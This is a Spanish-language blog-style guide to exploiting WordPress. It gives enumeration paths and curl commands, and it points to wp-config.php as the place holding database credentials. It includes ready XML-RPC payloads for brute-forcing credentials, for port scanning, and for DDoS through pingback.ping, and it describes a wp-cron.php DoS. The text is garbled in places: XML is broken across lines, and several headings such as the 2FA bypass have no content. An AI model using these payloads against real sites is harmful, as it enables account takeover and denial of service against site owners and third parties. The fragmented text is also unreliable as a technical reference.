Recientemente he estado trabajando en la explotación de vulnerabilidades en WordPress y me gustaría compartir algunos de los conocimientos adquiridos sobre cómo llevar a cabo este proceso de manera técnica.
Información Básica:
La ubicación de los temas de wordpress es: /wp-content/themes/ así que, si cambia algo de php del tema para obtener RCE, probablemente usará esa ruta.
- Por ejemplo: /wp-content/themes/twentytwelve/404.php
- Otra ruta: /wp-content/theme/default/404.php
En wp-config.php puede encontrar la contraseña raíz de la base de datos.
Rutas de login predeterminadas para verificar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login.
Principales archivos de WordPress:
- index.php
- license.txt contiene información útil como la versión de WordPress instalada.
- wp-activate.php se utiliza para el proceso de activación de correo electrónico al configurar un nuevo sitio de WordPress.
- Carpetas de inicio de sesión (se puede cambiar el nombre para ocultarlo):
- /wp-admin/login.php
- /wp-admin/wp-login.php
- /login.php
- /wp-login.php
- xmlrpc.php es un archivo que representa una función de WordPress que permite que los datos se transmitan con HTTP actuando como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazada por el WordPress REST API.
- wp-content la carpeta es el directorio principal donde se almacenan los complementos y los temas.
- wp-content/uploads/ es el directorio donde se almacenan los archivos subidos a la plataforma.
- wp-includes/ este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets.
Post Explotación:
Permisos de usuarios
- Administrator
- Editor: Publica y gestiona sus publicaciones y las de otros
- Author: Publicar y administrar sus propias publicaciones.
- Contributor: Escribe y administra sus publicaciones, pero no puede publicarlas.
- Subscriber: Explorar publicaciones y editar su perfil.
Enumeración Manual:
- Ejemplo: aquí.
meta name:
¿Cómo conseguir los Plugin?
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
¿Cómo conseguir el tema de WordPress?
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Extraer versiones en general
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Enumeración activa:
Usuarios:
curl -s -I -X GET http://blog.example.com/?author=1
Si las respuestas son 200 o 30X, eso significa que la identificación es válida. Si la respuesta es 400, entonces la identificación no es válida.wp-json
curl http://blog.example.com/wp-json/wp/v2/users
Solo se proporcionará información sobre los usuarios que tienen esta función habilitada. XML-RPC
<
methodCall
>
<
methodName
>system.listMethods</
methodName
>
<
params
></
params
>
</
methodCall
>
Fuerza bruta de credenciales
Request Type:POST
<
methodCall
>
<
methodName
>wp.getUsersBlogs</
methodName
>
<
params
>
<
param
><
value
>username</
value
></
param
>
<
param
><
value
>password</
value
></
param
>
</
params
>
</
methodCall
>
Debería aparecer el mensaje "Nombre de usuario o contraseña incorrectos" dentro de una respuesta de código 200 si las credenciales no son válidas.
system.multicall
, ya que puede probar varias credenciales en la misma solicitud:Bypass 2FA
DDoS o escaneo de puertos
<
methodCall
>
<
methodName
>pingback.ping</
methodName
>
<
params
>
<
param
><
value
><
string
>http://<YOUR SERVER >:<port></
string
></
value
></
param
>
<
param
><
value
><
string
>http://yoursite.com/and_some_valid_blog_post_url</
string
></
value
></
param
>
</
params
>
</
methodCall
>
Si obtiene un código de falla con un valor superior a 0 (17), significa que el puerto está abierto. Eche un vistazo al uso de **system.multicall** en la sección anterior para aprender cómo abusar de este método para causar DDoS.
wp-cron.php DoS
Este archivo generalmente existe en la raíz del sitio de WordPress: /wp-cron.php Cuando se accede a este archivo, se realiza una consulta MySQL "pesada", por lo que los atacantes podrían utilizarlo para provocar un DoS. Además, de forma predeterminada, se llama a wp-cron.php en cada carga de página (cada vez que un cliente solicita cualquier página de WordPress), lo que en sitios de alto tráfico puede causar problemas (DoS).
Request Type:POST
<
methodCall
>
<
methodName
>wp.getUsersBlogs</
methodName
>
<
params
>
<
param
><
value
>username</
value
></
param
>
<
param
><
value
>password</
value
></
param
>
</
params
>
</
methodCall
>
<
methodCall
>
<
methodName
>pingback.ping</
methodName
>
<
params
>
<
param
><
value
><
string
>http://target/</
string
></
value
></
param
>
<
param
><
value
><
string
>http://yoursite.com/and_some_valid_blog_post_url</
string
></
value
></
param
>
</
params
>
</
methodCall
>